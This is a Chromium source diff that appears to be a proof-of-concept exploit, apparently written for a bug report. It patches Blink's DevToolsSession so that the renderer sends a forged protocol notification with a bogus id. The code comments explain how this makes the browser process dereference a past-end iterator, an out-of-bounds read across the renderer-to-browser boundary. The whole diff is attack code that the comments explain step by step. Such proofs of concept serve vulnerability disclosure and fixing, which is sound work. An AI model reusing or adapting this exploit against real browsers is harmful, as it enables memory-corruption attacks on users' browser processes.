diff --git a/third_party/blink/renderer/core/inspector/devtools_session.cc b/third_party/blink/renderer/core/inspector/devtools_session.cc index c84e946e7c174..c2b14ec03817e 100644 --- a/third_party/blink/renderer/core/inspector/devtools_session.cc +++ b/third_party/blink/renderer/core/inspector/devtools_session.cc @@ -351,6 +351,23 @@ void DevToolsSession::SendProtocolResponse(int call_id, host_remote_->DispatchProtocolResponse( FinalizeMessage(std::move(message), call_id), call_id, session_state_.TakeUpdates()); + + // PoC: After sending the legitimate response, also send a forged + // notification carrying a bogus "id" field. DispatchProtocolNotification + // performs no call_id validation, so the browser forwards it straight to + // the DevToolsAgentHostClient. When SimpleDevToolsProtocolClient receives + // it, DispatchProtocolMessageTask looks up id 99999 in + // pending_response_map_, gets cend(), calls ShutdownForBadMessage (which + // does not return early), and falls through to dereference the past-end + // iterator -- triggering an OOB read in the browser process. + if (!poc_notification_sent_) { + poc_notification_sent_ = true; + std::string forged_json = "{\"id\":99999,\"result\":{}}"; + std::vector forged_bytes(forged_json.begin(), forged_json.end()); + auto forged_msg = mojom::blink::DevToolsMessage::New(); + forged_msg->data = {forged_bytes}; + host_remote_->DispatchProtocolNotification(std::move(forged_msg), nullptr); + } } void DevToolsSession::SendProtocolNotification( diff --git a/third_party/blink/renderer/core/inspector/devtools_session.h b/third_party/blink/renderer/core/inspector/devtools_session.h index 0efe922e24711..c2d06e6527d20 100644 --- a/third_party/blink/renderer/core/inspector/devtools_session.h +++ b/third_party/blink/renderer/core/inspector/devtools_session.h @@ -181,6 +181,7 @@ class CORE_EXPORT DevToolsSession Vector()>> notification_queue_; const bool client_expects_binary_responses_; const bool client_is_trusted_; + bool poc_notification_sent_ = false; InspectorAgentState v8_session_state_; InspectorAgentState::Bytes v8_session_state_cbor_; String script_to_evaluate_on_load_;